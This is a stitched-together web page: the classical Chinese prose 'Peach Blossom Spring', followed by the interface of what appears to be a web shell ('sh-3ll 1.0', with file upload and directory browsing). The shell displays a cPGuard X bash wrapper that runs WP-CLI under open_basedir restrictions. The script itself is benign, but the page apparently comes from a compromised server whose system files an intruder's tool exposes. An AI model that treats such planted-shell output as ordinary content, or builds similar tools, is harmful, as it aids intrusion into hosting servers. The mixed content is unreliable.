晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/cpguard/app/scripts/
Upload File :
Current File : //opt/cpguard/app/scripts/wp-cli
#!/bin/bash

###############################################################################
# cPGuard X WP-CLI Wrapper Script
# 
# Purpose: Execute WP-CLI using user-specific configurations from cPGuard X
# - Only for managed users (not root)
# - Reads user's configured PHP binary from ~/.cpguard/php.ini
# - Uses cPGuard PHP wrapper to execute WP-CLI
# - Enforces open_basedir restrictions
###############################################################################

set -euo pipefail

# Color codes for output
RED='\033[0;31m'
BLUE='\033[0;34m'
BOLD='\033[1m'
NC='\033[0m'

# Configuration paths
CPGUARD_ROOT="/opt/cpguard/app"
CPGUARD_RESOURCES="${CPGUARD_ROOT}/resources/tools"
PHP_SCRIPT="${CPGUARD_ROOT}/scripts/php"
WPCLI_PHAR="${CPGUARD_RESOURCES}/wp-cli"

# Get current user and home directory
CURRENT_USER="$(id -un)"
USER_HOME="$(eval echo "~$CURRENT_USER")"
CURRENT_DIR="$(pwd -P)"

# User's cPGuard config
CPGUARD_USER_CONFIG="$USER_HOME/.cpguard/php.ini"

# Export HOME for subprocesses
export HOME="$USER_HOME"

###############################################################################
# Function: Print error message and exit
###############################################################################
error_exit() {
    local message="$1"
    local exit_code="${2:-1}"
    echo -e "${RED}cPGuard X Error: ${message}${NC}" >&2
    exit "$exit_code"
}

###############################################################################
# Function: Validate required files
###############################################################################
validate_environment() {
    # WP-CLI only for managed users (not root)
    if [ "$CURRENT_USER" = "root" ]; then
        error_exit "WP-CLI is only for managed users. Please switch to the website user first."
    fi

    # Check WP-CLI PHAR exists
    if [ ! -f "$WPCLI_PHAR" ]; then
        error_exit "WP-CLI not found at $WPCLI_PHAR"
    fi

    # Check PHP wrapper script exists
    if [ ! -f "$PHP_SCRIPT" ]; then
        error_exit "PHP wrapper not found at $PHP_SCRIPT"
    fi

    # Check user PHP config exists
    if [ ! -f "$CPGUARD_USER_CONFIG" ]; then
        error_exit "PHP configuration not found for user '$CURRENT_USER'"
    fi
}

###############################################################################
# Function: Extract open_basedir from user config
###############################################################################
get_open_basedir() {
    local open_basedir
    
    open_basedir=$(grep -E "^[[:space:]]*open_basedir[[:space:]]*=" "$CPGUARD_USER_CONFIG" 2>/dev/null | tail -n 1 | cut -d'=' -f2- | xargs || true)
    
    if [ -z "$open_basedir" ]; then
        error_exit "open_basedir not configured in $CPGUARD_USER_CONFIG"
    fi

    echo "$open_basedir"
}

###############################################################################
# Function: Validate current directory against open_basedir
###############################################################################
validate_current_directory() {
    local open_basedir="$1"
    local allowed=0

    # Split by colon and check each allowed directory
    IFS=':' read -ra BASEDIRS <<< "$open_basedir"
    for dir in "${BASEDIRS[@]}"; do
        # Remove trailing slash for consistent comparison
        dir="${dir%/}"
        [ -z "$dir" ] && continue

        # Check if current directory matches or is under allowed directory
        if [ "$CURRENT_DIR" = "$dir" ] || [[ "$CURRENT_DIR" == "$dir"/* ]]; then
            allowed=1
            break
        fi
    done

    if [ "$allowed" -ne 1 ]; then
        error_exit "Access denied from $CURRENT_DIR. Allowed: $open_basedir"
    fi
}

###############################################################################
# Main Execution
###############################################################################

# Validate environment
validate_environment

# Get open_basedir restrictions
OPEN_BASEDIR=$(get_open_basedir)

# Validate current working directory
validate_current_directory "$OPEN_BASEDIR"

# Construct open_basedir with additional paths for WP-CLI
WPCLI_OPEN_BASEDIR="${OPEN_BASEDIR}:${CPGUARD_RESOURCES}:/opt:/tmp:/dev:/proc"

# Execute WP-CLI via PHP wrapper with open_basedir
exec "$PHP_SCRIPT" \
    -c "$CPGUARD_USER_CONFIG" \
    -d "open_basedir=${WPCLI_OPEN_BASEDIR}" \
    "$WPCLI_PHAR" "$@"